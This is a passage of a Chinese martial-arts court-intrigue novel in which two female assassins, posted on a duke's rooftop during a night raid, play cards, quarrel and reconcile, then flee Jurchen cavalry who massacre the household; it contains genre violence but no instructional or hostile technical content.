她冷笑:“这么大的事,前面的人死绝了,才知道调云瞒月?” “追兵太多,太难逃,第二批人出来掩护了。七杀折了不少人。” “几分之几?” “……新消息来了。第三批掩护的出动了。姓顾的征用了烟花铺子,给福余三卫配了烟花,发现咱们的人即刻发射,外头现在跟过年一样。藏不了了,要各人四散逃开,提防包抄。” “……被官兵包抄了,在长安街。官兵不敌,咱们突围。墨大人仍在定王府等待时机。云瞒月久调不来,原因未知。” “第四批掩护的出动了。飞鱼卫追上官兵,咱们的人已经破了包围,飞鱼卫紧追。全城宵禁,官兵挨户巡逻,不准私藏刺客。” “第五批……姑奶奶。” 他的声音顿了一瞬。 “调你呢,姑奶奶。”雾刀自阴影里跨步迈出来,“到你了。” 她嘴唇张了张,意料之外,始料未及,她语塞了。 “要你去朱雀街的国公府附近待命。若有咱们的人,掩护接应,不得抗命。” 她捏着笔杆,匆匆凉凉地抽了两口气,一直冰到肺里。 “我已经打不了了,还要我去?” 雾刀:“公孙红与咱们负责同一处。” 南琼霜轻轻呼吸着缓了半刻,一言不发,走去衣柜旁,翻出了她的白纱帷帽。 这种级别的行动,不容任何人抗命。墨角不是傻子,应该不会将中心的任务派给她。 她换了往日办差常穿的白衣,借着月色对镜戴了帷帽,十指套上蛛罗丝的戒指,腰间配了把剑。 雾刀已经站在窗边等着她。 他知道她身体底子已经极差,要赶去朱雀街,不得不由他带着。 南琼霜回身望了一圈,将地上的锦枕捡起来,塞进衾被之中,又多填了几件衣服进去,尽力装得仿佛有人在其中似的,又将床帷细细理好,鞋藏起来。 雾刀已经蹲了下来,弓着背等她上来:“赶紧的。” 她依言照做。 雾刀站起身子跳出窗外前的最后一刻,南琼霜习惯性地回首检查了一眼。 却见雕花的木门,开了一条细缝。 细缝里,一个人,一只眼睛。 脸色青白,眼珠乌黑,瞪着眼睛窥视。 李慎舒。 * 朱雀街尚未被腥风血雨波及。 洛京城东贫西贵,中央一条青龙街将京城一分为二,东面是集市街坊,西面是贵人府邸。朱雀街,是城西最繁华、最豪奢的一条街,每到上下朝时分,几十尺宽的长街被宝马香车堵得不容人过,水泄不通。 齐国公的国公府正在朱雀街上。 南琼霜趴在雾刀背上,高门大宅在脚下一座一座的过。 贵人们的宅子,门前都挂着圆圆的大红灯笼,但夜色沉沉,几盏灯笼倒显得冷凄。 抬头看去,房瓦黯淡灰冷,月色底下,接天茫茫。 忽然,远方隐约有个在房檐上连连奔跳的身影,雨燕一般。 雾刀跑得气喘:“诶,前边儿那是云大人吗?” “怎会是云瞒月。没披铠甲,甚至未穿夜行衣。” “可是那身轻功可真了不得。真不是?” 她拍雾刀的肩,“快跑两步,隐蔽些,我瞧瞧。” 雾刀喘得舌头都吐出来:“跑得太快啦,小的跟不上。” “要你干什么吃的!”她劈手给了他脑袋一掌,声响得跟脆瓜似的,“跟不上要你狗命!” 雾刀叫苦连天,哀嚎一嗓,咬着后槽牙狂奔。 片刻,那身影距两人尚且隔着五六片屋檐,距离远,那人未发觉。 南琼霜伏在雾刀背上眯着眼睛细看,只见那人动作快得跟风一般,抬步落步几乎不着地,心里越发惊异,再一定睛望去,此人身上只有一件天青色锦袍,束着腰,肩宽腿长。 或许是哪家武功高强的公子哥。 京城里竟然有这号人物,轻功跟雾刀难分伯仲,全京城戒严,他大半夜的跑出来溜达。究竟是什么人? 南琼霜抓着雾刀的衣裳,附耳,“再过去些,从屋檐底下过去,我要看看……” 隔着五六片屋檐,那人转过了头。 南琼霜一下怔住了。 雾刀嘻嘻笑:“我就说了,是云大人!” “霜儿。”云瞒月有意在空中滞了一瞬——天知道她是如何上一秒狂奔,下一秒停脚,静止着悬空的,“他们把你都派出来了?” 停滞半瞬,雾刀噌一下窜过前面的屋檐,三个人一瞬并肩,一齐疾行。 “你……”南琼霜吞吞吐吐,“铠甲呢?夜行衣呢?你就这么去定王府?” 云瞒月狂奔中气息丝毫不乱,一笑。 “穿锦袍?”她觉得太荒唐,“京中大乱,那边估计跟铁桶一般。你就这样去杀定王?” 又打量她一圈,“你的戟呢?” 云瞒月未披盔甲,未带长戟,没有蒙面。 仿佛要上戏楼听曲儿似的。 “不爱拿,在教引手里呢。” 南琼霜回头一望,半点影子也无,“那教引呢?” “没跟上,不知道。” “没跟上?”南琼霜眉梢抖了抖,“你那三个教引,一个也没跟上?” “腿脚不勤,难道我还要等他们?” 教引腿脚不勤? 南琼霜把所有不知是敬佩还是不安的东西咽下去,“你不戴铠甲,不拿戟,去杀定王?” 云瞒月信手举了个东西起来,是一柄白折扇:“这不有把扇子么。” ……扇子。 拿把扇子,去跟福余三卫火拼,直捣定王的铁窟。 她倒是听说过,云瞒月有把孔雀扇,每支翎羽都暗藏机关,看起来寻常,实则边缘如铁锯般锋利,丢出去可作回旋镖,与之交手,十死无生。 可是,仅凭一把扇子去闯定王府,还是太…… “你知不知道那边的形势?府内不仅有常家军,或许还有福余三卫的精英。飞鱼卫也可能前去支援,你当真什么都不拿?” “我拿了啊。”她另一只手从身后拿上来,指尖挂着一兜东西,“我买了包子。” 南琼霜艰难地沉默了两刻。 良久,她声音很艰涩:“所以,线人说你久调未至,你是去……” 云瞒月答得很自然:“我习惯用点夜宵。” 南琼霜无话可说了。有些事情,是她无法理解的。 她只能尊重:“好,注意安全。” 云瞒月倒很热情:“你要吗?晚上吃饭了吗?给你?” 南琼霜:“……不,不要了。” 既然她不要包子,云瞒月又负手在身后,“墨角竟然连你都派出来了?这副病弱身子?他疯了?” 南琼霜:“他是不是要跟你争夺七杀堂主之位?” 云瞒月踏步凌空,轻轻一哂。 “他早就该调你,却没调,是想独吞功劳。要不是前面人死绝了,没办法了,他绝不会调你。现在还没死心呢,他还守在定王府外等机会。你不仅要小心福余三卫,还得小心他,千万别螳螂捕了蝉,叫黄雀阴一招。” “他?”云瞒月散漫笑了笑,“也得有那个本事。” “我知道你强。”南琼霜忧心忡忡,“就因为强,别人才眼热呢。千万小心,提防墨角,绝不能比提防定王少。” “好,知道了。”云瞒月一笑,一双艳威逼人的凤眸光芒炯炯,“谢谢霜儿提点。你是什么任务?” “掩护撤退。”她道,“在国公府附近,跟公孙红一起。” “你也要小心。你们两个不会武功,倘若出了什么事,要教引到定王府叫我。” 她冷汗涔涔地咽下“不会武功”四字,叹息,“应该无妨。谁敢到朱雀街造次?即便是福余三卫,到了国公府,也得收敛。” 云瞒月含笑颔首,“好。若没其他的事,我先走了。被你一说,我也怕他抢功。” 说完,足尖一蹬,两人渐渐分开,云瞒月如一支离弦的箭,往定王府的方向去了。 南琼霜跟她聊了半会,头痛欲裂到现在,抓着雾刀的衣裳,捂着额头。 雾刀哈着粗气,渐渐停了下来: “姑奶奶,到了。” 南琼霜遂低头往下看去。 鱼鳞般的瓦片连绵不断,屋檐高高翘起四角。绿瓦在月亮下是青灰色,小小密密的瓦片中间,立了一个人,红袖红裙红纱帷帽,仿佛一株火苗。 雾刀止了脚步,缓缓从空中落下去,踩在瓦上,咯吱一声轻响。 戴着红纱帷帽的女子,闻声转过了身。 南琼霜从雾刀的背上下来。 屋檐远远的另一侧,有个高大影子支着腿坐在地上,雾刀走过去同那人击拳。——公孙红的教引,仑烛。 两人相对,谁也没先说话。 上回琵琶大会,顾怀瑾出手搅局,两个人真亮了杀招,闹得不欢而散。她知道公孙红是误会了,可是解释,太麻烦,她不爱解释,遂随她误会下去。 但是,再不睦,也是同僚。 她轻咳一声,先开了口:“到底是怎么回事?你失了手,暴露了没有?” 公孙红不大想搭理,抱着肩膀偏开头。 南琼霜隔着帷帽的白纱瞧她,也有点不耐:“什么时候了,这么大的事,说话。” “没有。”红纱遮住公孙红的面孔,瞧不清她的表情,“没暴露,但出了点差错。” 她不接话,示意她继续讲下去。 “今夜原本是要毒杀那厮。为此,我给那猪头煮了碗桂花血燕粥,里面搁了砒霜。但是,下毒,又不能亲手给那猪头送去,于是做好了,搁在那。” “府里头除了军士,就是女人最多。我得宠,有的是人看不惯。于是我那碗粥做完了往那一搁,就有女人捧着我的东西拿去邀功了。” “常达钟爱补品,千方百计搜罗灵药以求长生,所以那碗粥,我敢打赌,他是一定会用的。我怕牵连上身,看着那女人进了他那屋,就走了。只是没想到,那个邀功的女人,有那么蠢。” “怎么?” “听说,是为了勾引那个猪头,百般献媚讨好,将那碗粥,先含了一口在嘴里,要以口渡给他。” “只是含了一下,何至于毒发?是自己偷着咽了吧,毕竟是碗血燕。” “谁知道,坏我的好事。”公孙红冷笑一声,“还真是贱到骨子里去了,白送了一条命。” “原来如此。”南琼霜心神不宁地望着月色长吁口气,“她死了,你没暴露,已是万幸。这些年,哪回行刺会顺顺利利不生枝节的,刺客一行就是如此,刀刃上行走,谁也不知道下一脚滑到哪去。看开点吧。” 公孙红不咸不淡地冷哼一声。 她抱着肩膀:“我问你,上回大会上那男的怎么回事?” 南琼霜知道此事她一直介意,但没想到她问得如此平静,好像还肯听她解释似的。 她不知道解释到何种地步最合适,偏开头望着月色,没答话。 “怎么。还要我开口主动问。不该你来解释吗?”公孙红望着她那张白帷纱后模糊不清的脸孔,越看越觉得她没将自己放在心上,气不打一处来,“我等你解释呢,南琼霜。” 解不解释,很重要吗。 南琼霜不在乎情爱,也不看重友情。谁厌弃谁,谁背叛谁,她都无所谓。这么多年,一切她都看得开。 她仍旧是不说话。 “好,好,真行啊南琼霜。”公孙红气得直发抖,连她那胭脂红的帷纱都跟着哆哆嗦嗦起来,“我还拿你当朋友呢,良心都给狗吃了!我都问你,你还不说,我也真是做梦,还以为能跟同僚交心!” 南琼霜听得有点心酸,也有点惭愧,手指绕着剑鞘的流苏,迟疑了一阵。 “我不知道怎么解释,想想算了。” “你不能说吗?姓顾的是你的旧敌,你上回栽到他手里,你不能说吗?就非在这拽得跟个冰坨子一般!” 她一顿:“你知道了?” 公孙红大怒:“我当然知道!你以为我若是不知道,还会回来找你和好?” 和好? 南琼霜这一生还没想过,会有人追着她求她和好——除了那人。 “前些日子,姓顾的不是闹自杀吗?常达派了线人过去探消息,说那男的临终前,除了念叨他从前一个倒霉门派,就是同他爹爹道歉,再要么,就是念叨一个女人的名讳,叫什么娇娇儿。” “常达不知道那是谁,想从那女人身上找找姓顾的软肋,遂满军营满府地问。问遍了,最后有混过江湖的,说是从前他当少掌门时候的旧情人,因为这个女的,整个天山都覆灭了,他恨此人入骨。” “这不就是我们这些人的行当?我一猜就是你。后来常达找来了当年他寻人时散出去的画像,我一看,更确信是你。那是你昔日旧敌,你为什么不说?我当你们两个勾结好了,专来阴我!” 因为她同这个旧敌,并没有公孙红所想的那般清白。 南琼霜默然不语。 忽然,她一激灵,“常达看见了我的画像?”常达也是见过她的,那岂非—— “常达没往那想,以为是巧合。”公孙红染得艳丽的指甲一下一下敲着胳膊,“你当年是什么身份,如今是什么身份,长得再像,没有证据,他也不敢往那想。” 是了,当年她只是天山脚下一个无父无母的船娘。 如今,是皇城之中,天子的宠妃,摄政王的表妹。 “抱歉。”良久,她白帷纱底下逸出一声轻悄的叹息,“我十二岁时差点死在同僚手里,自那以后,对同僚也不大放心。有些事情,连同僚也不会讲。” 公孙红嘁了一声:“拽得要上天呢,任谁误会都懒得解释。你把谁放在心上?” 呛人且犀利。 是她没拿人当回事,辜负人家一点友谊,南琼霜有点理亏,讪讪地一言不发。 “索子!” 她惊了一下,回身一看,雾刀和仑烛两个盘着腿大模大样坐在房瓦上,笑嘻嘻地对坐着,手中各自抓着一把牌,仑烛挑出一张往外一甩,抽得啪一声响。 她刚巧想求个台阶下:“出来办差,打什么牌?” 两个人装没听见,喜笑颜开。 雾刀手里捏着牌,小心翼翼地用齿衔出一张,呸地往外一吐:“做梦!” 牌轻盈飘落,仑烛面如菜色。 公孙红:“我跟你说话呢!少岔开话题!” 南琼霜被人拆穿,像犯错被当场抓住的猫,有点悻悻,局促地舔舔嘴唇。 公孙红:“道歉。我们两个各自道歉。” 她抱着 双臂,虽说是求和,腰板挺得溜直,不肯看她。 仑烛:“万子!”一阵歇斯底里地大笑。 公孙红终于转过了头:“烦不烦人!臭嘴给我闭上!” “来呀,红祖宗,来打牌呀!这傻子没手了,你看他这德行,有牌打不出来!”仑烛乐得快从瓦上滚下来。 “滚犊子!你爹爹我一只手杀得你屁股开花!” 南琼霜闭上眼,长出了一口气:“……抱歉。” 公孙红从鼻子里轻哼一声,昂着头,塞了一个东西进她怀里,大跨步走了:“我也是。你的云翳锦还你。” 说完,一步一顿地,走去那两人身旁坐下,回身道:“过来玩会!没人过来呢,大半夜的。” 南琼霜站在屋檐上,四下看了一圈。 朱雀街笼罩在夜色里,没有官兵,没有刺客,没有福余三卫,路面被月光映成青蓝色,一片清冷的宁静。 这一夜,满城腥风血雨,朱雀街,近乎祥和。 第168章 谁都想不到,定王府内血流漂杵,京城之中全面戒严,极乐堂两位翘楚,却在国公府的房瓦上坐着打牌。 墨角给她们二人分配的任务,确实是边缘中的边缘。 长夜漫漫,南琼霜原本觉得今夜平安得太过,惴惴不安了一阵,可是在房瓦上极目远眺了快半个时辰,依旧是半个奔逃的影儿都没见着,在风里吹得也有些冷,无可奈何,坐到了三人之中。 公孙红立时往她手中塞了一把牌。 她一面把牌排成扇形,一面四下环望: “我们是否太掉以轻心了?” 公孙红捏着下巴,眼睛都未从牌上离开: “给咱们的活,能有多要紧。你爱盯着,你盯着吧。” 她无可奈何,把着牌,又往下面看去。 屋檐下,正是气派富丽的国公府。齐国公是当年开国功臣,建.国后封了国公,自此以后子孙袭爵,到了今日,更加富贵显赫。遥遥看去,庭院中山水林木皆有之,夜色下湖水泛着光,湖边一排漆画雕花的华灯,在黑暗里兀自亮着。 灯火长明,最是难得。即便是紫禁城之中,天家富贵,到了夜里,假山御湖也不点灯。 可是,这国公府,竟然彻夜灯火通明。 她眯着眼睛,瞥见院子墙根底下,一排隐隐的反光,遂撩开了帷纱,仔细看。 公孙红:“看什么?” “那是……”她仔细分辨,“国公府里,竟然蓄着这么多私兵。” 月色底下,每座院子的墙根下都列着一行私兵,手中一杆长枪,遥遥看去,齐刷刷的一排雪锋。 因着京中局势不稳,三方对峙相争,无人能一统时局号令天下,即便不准蓄养私兵,也是有令无人守。似国公府这等高门大户,更是怕局势生变,难以自保,全在府内藏了家兵。 “我们坐得这么高,在这打牌,万一叫底下这些兵看见……” “早看见了。”公孙红捻出两张牌往牌堆里一扔,“他们不会管的。定王府闹得不可开交,这些大人们早就听说了,人人自危呢。只要没闹到他们头上,谁也不想跟着瞎掺和。” 仑烛是独眼,一边缚着白绷带,另一只眼朝她嬉笑:“霜大人一贯是想得多。嗨呀,咱们在这打个牌,难道国公大人不让?又不是要打进他府里头。” 南琼霜揉着眉心思索了一会,终于又看着手中牌,挑出两张撇下来。 话倒是有些道理。即便是蓄养私兵,至多也到不了百人,国公府大约也听说奔逃出来的都是刺客中的佼佼者,若无必要,谁会想和这些刺客硬碰硬。 局势安稳,这些家兵或许会管一管,但如今满京风雨,谁会多管闲事。 忽然,远远的天边尽头,嗖一声窜上一颗通红的火星,哗一声在空中炸开。 深紫色的天空被炸亮了一半。 “来了。”南琼霜丢下牌站起身来,却见其余三人仍是对坐着冥思苦想,“都起来啊?” “远着呢,姑奶奶急什么啊。”雾刀拿舌头小心挑着牌,“前边有其他人负责。就算往这方向跑,还未必真往这边儿来呢。这边儿,家家都有私兵,要往这边跑也得掂量掂量。” 公孙红亦拿手朝她扇风:“坐下,坐下。” 南琼霜哑口无言。她素来是比旁人更谨慎些,但有时也杯弓蛇影,一时也拿不准自己是否多虑了。 仑烛唰地往牌堆里撇了两张牌,抽的底下的牌都跳起来: “谁敢造次!” 雾刀一张脸黑得跟羊粪球一般。 公孙红仰着腰一阵惊天动地的大笑,“活该!” “姑奶奶,打牌!”雾刀哭丧着脸,“咱俩一伙的!您这不是坑小的吗!” 三个人玩得热火朝天,就她一个疑神疑鬼,她不由也怀疑自己,又担心认真得太过,叫其他人以为自己装腔作势,无可奈何地又坐了回去。 一边玩,却依旧放不下心,四面看着。 国公府的院子里,渐走出来一个身着华衣的人,头戴紫金宝冠,一身云锦袍,光泽细腻,显然是极佳的料子。可是,走得蹒跚踉跄,一条手臂搭在下人身上,若无那人搀扶,简直一步也走不直。 那下人道:“少爷,您何苦喝这么多酒,您也该仔细自己身子啊!即便几位爷跟您赌了,您真喝不了,又有哪个敢逼您!” 那人醉醺醺地晃着手把他推开:“既然……要赌……老子死也得……有面儿!区区几盅小酒……” 下人:“我的祖宗喂,您可别再赌了!老爷罚您罚得还不够吗!” 是李景泰。 曾经借樗蒲,向嘉庆帝讨要官职的纨绔子弟。精于纸牌骰子,骏马梨园,好赌也善赌。 李景泰将那下人一掌推翻:“……滚!再跟我提我老子,我跟你不客气!” 那下人诶哟一声栽了个跟头,李景泰自己叉着胯软着腿歪歪扭扭地往前走: “我老子……又是什么好人儿了!我这一身本领,全是从他学的!我好六博,他好花鸟,老爷子好蛐蛐儿,怎么,谁说谁!只准他俩享乐,老子舒服舒服就不行?你别跟我絮叨!” 那下人溜溜爬起来,赶忙上去搀扶他,不敢多嘴了。 “齐国公府,一家三代,全是纨绔。”公孙红冷哼一声,红指甲捏出一张牌丢进牌堆里,“不仅奢靡,还好斗呢,整日在会宾楼里同人赌.博。有时候,赌输了,还赖账。这小子算好的了,他老子,输了还要揍人呢。” 雾刀咧着嘴笑开:“小的也听说了。三代里,老国公脾气最臭,听说年轻时跟人结下不少梁子,特别好面儿,为了面子,什么阴招都使。” 公孙红笑:“改日引得那猪头跟这老头打一架,看看哪头吃瘪。” 南琼霜又往府中看去:“最老的好蛐蛐,中间的好花鸟,小的好赌.博?穷奢极侈的一家子。” 雾刀:“诶,你小子干什么!” 南琼霜狐疑转回头。 雾刀把手里牌扇往房瓦上一撇,那牌飞得七零八落的: “你小子干什么呢?!趁我们家姑奶奶不注意偷瞧我们牌是吧?!我就说见了鬼了,我们俩没吃着一点甜头!” 仑烛:“你小子可别血口喷人!何时看你的牌了!说翻脸就翻脸!” 雾刀:“没看我的牌,你是不是看我姑奶奶的牌了!你说,你看着我家姑奶奶说!” 南琼霜始料未及:“看就看了,你吵什么?” “不行,绝对不行!”雾刀一口犬牙参差呲出来,两只小眼珠一齐死盯着仑烛的独眼,“刚才从我们这吃了多少?都吐出来!” “我他妈不过看一眼!还要全拿出来?看的又不是你的牌!你小子找事?!” “姑奶奶的牌就是老子的牌,该姑奶奶吃的就是老子该吃的!老子该吃的,谁也别想动一口!”雾刀腾地一下站起来,擀面杖粗的食指指着仑烛鼻子:“你还不还!” “我呸!”仑烛啐了一口,“你家大人赢钱难道还分你?!” “你甭管分不分我,没人能从我雾刀眼睛 底下抢我们俩的东西吃!” 南琼霜毫无办法地长叹一声。 雾刀这人,虽然整日惦记着抓她的错处,从她身上咬一口,可是,若有人想从她身上咬一口,他第一个不准。 恶犬也是犬。无人觊觎她时,觊觎她的就是他。但若有外敌,他一向把一口獠牙冲着外人,朝她摇尾巴。小时候,她无力自保,同僚全如猛禽恶兽一般,全是雾刀护她。 一朵烟花倏地钻入夜空之中,砰一声,铺了满天。 这回近得多了。 星星点点的绿光流星似的坠下来,照亮一瞬,复又熄灭。 她一回头,雾刀和仑烛已经掐着领子瞪眼睛,两头斗牛似的搡着对方。 南琼霜:“别打了!有同僚过来了,说不准还有福余三卫!” “把你那张嘴放干净点儿!别以为你爹爹少了一只手,就没本事揍你了!给我当了多少年的孙子!” “哦唷,哦唷,手都断了倒还嚣张呢!来,领子给你抓,我倒要瞧瞧你上哪再找个拳头来!” 两人分不出胜负,雾刀松开他领子飞起一脚,仑烛脚一点弹进空中,两人遂在空中拳打脚踢。 公孙红噗嗤一笑:“两个没内功的废物,跟猫打架都打不赢,彼此倒还掐上了。” 又一朵烟花呼啸着升空。这一回,几乎炸开在他们眼前。 银星般的火光零落着坠下。 公孙红终于正了颜色。 “你们两个消停点!” 仑烛:“打我呀!来打小爷!打不死我你是孙子!” 雾刀:“你爹爹我今儿非打得你屁股八瓣——” 两人几乎是同时出声:“住手,闭嘴!” 远处终于响起哒哒马蹄声。由远及近,在空荡荡的街道上回响悠悠,再一转弯,几个人影投在森寒的路面上,全都伏在马背上疾驰,手中一杆大刀。 “消停点,别打了,过来人了!” 只听那一伙人在街角停了一瞬,有人喊了几句她并不能听懂的话。 南琼霜心里一凛。 恐怕是女真语。是福余三卫! 马蹄声立时奔涌进这条街,纷杂汹涌,势不可挡。 公孙红三两下翻到屋脊的另一面,伏在瓦片上掩去身形。 南琼霜回身一望,这两个蠢货竟然仍在空中撕扯!气不打一处来,也无暇把两人分开,慌忙跟着躲到屋脊背后。 公孙红手指抠着瓦片缝隙,两人正挤在一处,她附耳道: “要来人了,且会很多。两个教引被他们瞧见了——” 南琼霜惊讶无比:“你听得懂女真话?” 公孙红观察着头顶天空:“我是关外来的,小时候在女真部落里混。他们刚才瞧见了那两个傻子,那俩废物没本事但块头太大,他们以为这边有高手,要所有人到这边来。” 南琼霜在心里狠骂了一句。 “在这先躲着吧,躲过去再说。我们两个怎么打的过他们?” 忽然,又一句她听不懂的话,从街尾响起。 公孙红的红唇几乎在齿间咬出血来: “被人看见了!” 躲在屋脊后,正对着屋脊一面的人无法瞧见,可是,街尾的人从侧面一瞧,却是一清二楚。 雾刀和仑烛两人终于发觉自己早已置身险境,四下一看,各自主子又不见了,对视一眼,急急飞入四面夜空里,隐匿起来。 但是,教引们的匿影术,几乎是凭空消失。 福余三卫眼睁睁看着天上一片空荡,心里更惊惧忌惮。 领头的一人朝队伍末尾的人高呼了一句。 一连十数朵烟花飕飕升空,霎时在空中炸开,绚烂缤纷、璀璨迷幻、声响如沸。 公孙红:“他们要把大部队调来这儿了!” 南琼霜咬牙:“成事不足败事有余的东西!” 忽然下面一阵莫名的静寂,唯有一点马蹄踏地和马喷鼻的声音。 两人惊疑交加,对视一眼。 又屏着呼吸,偷偷越过屋脊,朝旁边瞥去。 国公府的院墙上,赫然攀上了几只手,接着冒出三四个人头,几人踩着墙面徒手攀了上来,趴在墙头上。 一面从背后解下弓箭,悄悄搭弓。 箭头在月色底下无声闪着光。 两人心头一紧,即刻旋翻转开,从屋脊背面飞掠而过。 箭骤雨一般,扎在两人停过的地方,嗡嗡震颤。 “先看看到底有多少人!”公孙红蹬着瓦片飞身急攀,两三步就登到了屋脊顶端,手刚扒着瓦片冒头一探,腰上登时缠了一根绸带。 “别去!” 没等她话音落下,一阵箭雨劈头盖脸急刺过来,公孙红只抬眼看着,咽喉就一阵被捅穿了似的痛,忽地眼前景象一变,有人使力猛地一扯,她滚下屋脊翻折下来,箭噼啪地扎在瓦片上,南琼霜站在屋檐底下将她拉回来,“听声音!” 又用传音入密道:“雾刀!” 雾刀自知闯了祸,很是心虚:“姑奶奶。” “报人数!” 雾刀:“约莫四十人,真了不得。” 公孙红对仑烛道,“打不过,倘若他们不撤退,做好准备联系墨角。” 教引与刺客之间的传音入密唯有两人可以听到,公孙红又对她重复一遍,“我叫仑烛去联系墨角。” “墨角忙着抢功呢,他顾得上这边?”南琼霜抬头,“雾刀,观察局势,如果福余三卫不撤退,准备联系云瞒月。” 雾刀:“云大人走不开吧?小的去问问别人。” “问别人根本没用!四十个女真人骑兵,除了云瞒月,谁能有办法?云瞒月若是不来,今天我俩兴许就折在这,但如果不是她,找别人也是白找!” “墨大人未必不能应付,此次毕竟是他总指挥,小的……”未等说完,又道:“仑烛去了。” “他去了,你就再等等。”南琼霜横剑别开一箭,心里道,虽然不知那边战况如何,可是,要墨角把云瞒月自己一个人放在那,他肯吗?云瞒月随时会摘了常达的人头。他会放下功劳,到这边来救她们? “我看墨角未必会来。”南琼霜回身一望,国公府中的家兵听见动静已经执刀逼近,两人对视一眼,“别抱什么期望了。” 公孙红咬牙:“我看未必。极乐堂最风光的就是咱们俩,我们一齐折在这,极乐堂跟灭了也没两样!他敢为了抢功,舍弃极乐堂吗?” “你怎知他不敢?那男的本就是个赌狗!” 带头的家兵已经逼到二人眼前,拎着大刀一指,白花花的刀刃: “谁!” 两人横剑在前,俱握紧了剑柄。 身后,院墙外,福余三卫操着怪腔怪调的官话大喊: “国公大人,定王属下,奉命抓刺客。有二人落进你们院中,国公大人,请配合。” 家兵们一听这呜呜咋咋的口音,顿时变了脸色,面面相觑。 领头的家兵抬头望向院墙,惊见墙头已经趴着一排圆滚滚的狰狞的人头,慌得往后退了半步。 “定王的福余三卫?!” 江强趴在墙头上,笑眯眯地弯了眼睛——他本是女真人,为示归顺,给自己取了个汉人的名儿——缓缓地搭了箭,拉了弓,直指着一众家兵: “定王的令,满城抓刺客,不管藏哪,都抓。国公大人,开开门,行个方便。” 领头的家兵冷汗涔涔,默不作声。 江强再笑:“我们保证,只抓刺客,不会打扰大人。” 三方煎熬地沉默半晌。 南琼霜手心出了汗,握着剑,已经有些滑。 倘若家兵开门,二人腹背受敌。 良久,家兵领头大叫一声:“锁紧大门,不准人进!其余人,抓刺客!” 江强惊愕地怔住。 其实缘由也很简单。女真人在中原名声一向不好,向来靠烧杀劫掠营生,常达引了这一伙女真人做私卫,京中已是怨声载道。国公府内奇珍异宝无数,殷实得说一句富可敌国也不为过,这么贸然开了门,谁知道这伙女真人干不干老本行? 领头的家兵,长枪齐齐朝南琼霜二人一指: “不过两个女人,兄弟们,抓!” 两人对视一眼,长剑登时与长枪搅在一处,一时院中刀影纷 纷,雪白的剑光削得纷飞,倏尔几支冷箭嗡嗡蹿进院内。 南琼霜余光一瞥,抬步躲开,又猛地抬剑格下一击。 叮一声脆响,剑身蜂鸣。 这样下去不是办法。虽说这些家兵武功不如她们,可两人体力是大问题,眼下还能过两招,可是能打多久?到时打完这一波,外面还有下一波,再好的人也扛不住。 忽地抬眼一望。 已经有两三个女真人攀上了墙头,颤巍巍地蹲在上面,弓着身子往下跳。 南琼霜灵机一动。 忽而耳畔又一声箭矢破空的风声。 南琼霜旋剑一格,闪到一人身侧,肩膀往前一拱,一个高举大刀过头顶的家兵,霎时往前一扑。 “噗”一声。 一只箭矢没入他胸口。 唯余一点微微颤抖的箭尾。 “大人,勿伤府中人,勿伤府中人啊!我们都是国公的人!” 那领头的一面挥刀,一面哀呼着朝江强抱拳。 江强已经翻墙跳了过来,披盔戴甲,人高马大,听了这话,吊儿郎当地把大刀往肩上一搁,叽里咕噜说了一阵女真语。 南琼霜飞身过去与公孙红后背相抵:“说的什么?” 公孙红抬剑一挡,笑,“说,‘用中原话说,你们不懂,这回我们可听不懂了’。” 南琼霜咬唇一笑,“好,就这么干。” 公孙红将剑捏着再紧了些:“让家兵往上顶顶,我们撤!” 一回身,月色底下,人头如蚂蚁一般不断从墙那边冒出来,瀑布似的接连不停地往里跳,两人对看一眼,收刀入鞘,倏地腾跃,钻上天空。 地上江强大叫一声,下一秒,地上暴起一阵箭矢的波浪。 公孙红登时提了嗓门,一面笑,一面纵身,朝那伙女真人大喝。 下一瞬,两人倏地翻过前面的屋脊,骤然往下急跃,蹲在地上,一齐弹进一旁的房间之内。 门被撞得破碎,流箭密密麻麻,扎在庭院石板地上。 “你喊的什么?”南琼霜已经喘不匀气,抬不动步。 “我说,”公孙红嘻嘻一笑,“‘这地方有可多好东西啦!快拿呀!’” 南琼霜强撑着桌子站直,一面扶着帷帽,笑得直不起腰。 “你说他们能撑多久?” “撑不了多久。”公孙红用红帷纱草草擦去鼻尖上的汗,“你说墨角来不来?” “我说他不会来。”南琼霜望着窗外,这房间应是一间库房,附近一切都简朴,外面暂还没有人影,唯有一片兵戈交击之声,“我叫雾刀联系云瞒月吧。” 用传音入密试了试,雾刀却没有回应,应是已经去了。 “云瞒月?此次又不是她指挥,她不担责,为何会来?” “她未必来。”南琼霜苦笑了下,“她若不来,我也没办法。” “你同她有些交情?” “从前一道办过差。” “就算如此,她肯为了你我放下那边吗?杀了定王,可是大功。” 南琼霜无法回答,唯有沉默。 良久,还是按住了剑柄,“往生门之中,谁能依靠谁。肯帮个一星半点,已经该感恩。即便她不来,我也谈不上失望不失望。打不过,那就死。” “我可还不想死在这呢。”公孙红咬着唇壁,“长得这么漂亮,下辈子,可未必还能讨到这种皮囊了。再说——” 话音未落。 一个东西骨碌碌滚到窗子底下。 一阵喷鼻的血的腥气。 一双眼,混沌麻木地,幽幽盯视着二人。 方才那领头的人头。 几个魁梧的影子大摇大摆往这边迈步过来,其中一个仰头灌了口酒,月亮底下,抬起刀来,“噗”一声喷在刀刃上。 “女真人以酒祭刀,这是要大杀特杀了。”公孙红道,“这不能呆了,走!” 那一伙高大影子,堪堪转过转角之时。 两人踏着窗棂往房瓦上猛冲。 南琼霜已经到了强弩之末,再跑起来,胸口已经开始钝痛,强撑着踩上房檐,无法控制地一歪。 被公孙红伸着胳膊扶住了。 黯淡夜色下,公孙红望着庭院里,呢喃仿佛呓语: “我们躲到那房间里,躲了多久?” 南琼霜按着胸口干咳,一时半会顾不上:“大约半刻,怎么?” 一抬眼,却也愣住了。 繁复雅丽的国公府庭院内,一片嘈杂嚎哭,华灯磕磕巴巴地亮着,贵人们开了门想逃,打开门,当即一声惨呼,砰一声又紧锁了门。 庭院中,首级四散滚落,好似载着柚子的马车倾覆了一地。 几个女真人倒是好趣味,扛着刀,将地上人头一颗颗拣了,摞起来。五官的一面朝外,远远一看还以为是个土堆,近看,是一伙人。 南琼霜是见过大风大浪的,此时,半个字也吐不出来。 下面又一阵弓弦绷紧、弓箭离弦之音。 “快走!” 女真人最擅拉弓射箭,事已至此,打也打不过,逃也逃不开,今日已是必死之局。 两人再无他路,卯着力往下一跃,不消回头,身后已是一阵飕飕破空声。 噗噗两声。 云翳锦横在空中,霎时被穿烂。 “逃吧!来不及等人接应——” 话未落,生生被截断了。 公孙红咬着牙,一根白色箭羽扎在肩上,被大红衣裙衬得几乎刺目。 南琼霜:“你——” 